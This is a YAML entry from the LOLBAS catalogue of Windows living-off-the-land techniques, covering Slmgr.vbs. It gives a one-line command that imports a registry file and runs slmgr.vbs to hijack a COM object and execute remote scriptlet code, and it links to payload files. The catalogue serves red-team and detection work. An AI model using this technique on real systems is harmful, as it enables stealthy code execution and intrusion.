LOLBAS/yml/OSScripts/Slmgr.yml

21 lines
770 B
YAML

---
Name: Slmgr.vbs
Description: Execute
Author: ''
Created: '2018-05-25'
Categories: []
Commands:
- Command: reg.exe import c:\path\to\Slmgr.reg & cscript.exe /b c:\windows\system32\slmgr.vbs
Description: Hijack the Scripting.Dictionary COM Object to execute remote scriptlet (SCT) code.
Full Path:
- c:\windows\system32\slmgr.vbs
- c:\windows\sysWOW64\slmgr.vbs
Code Sample:
- https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/Payload/Slmgr.reg
- https://github.com/api0cradle/LOLBAS/blob/master/OSScripts/Payload/Slmgr_calc.sct
Detection: []
Resources:
- https://www.slideshare.net/enigma0x3/windows-operating-system-archaeology
- https://www.youtube.com/watch?v=3gz1QmiMhss
Notes: Thanks to Matt Nelson - @enigma0x3, Casey Smith - @subTee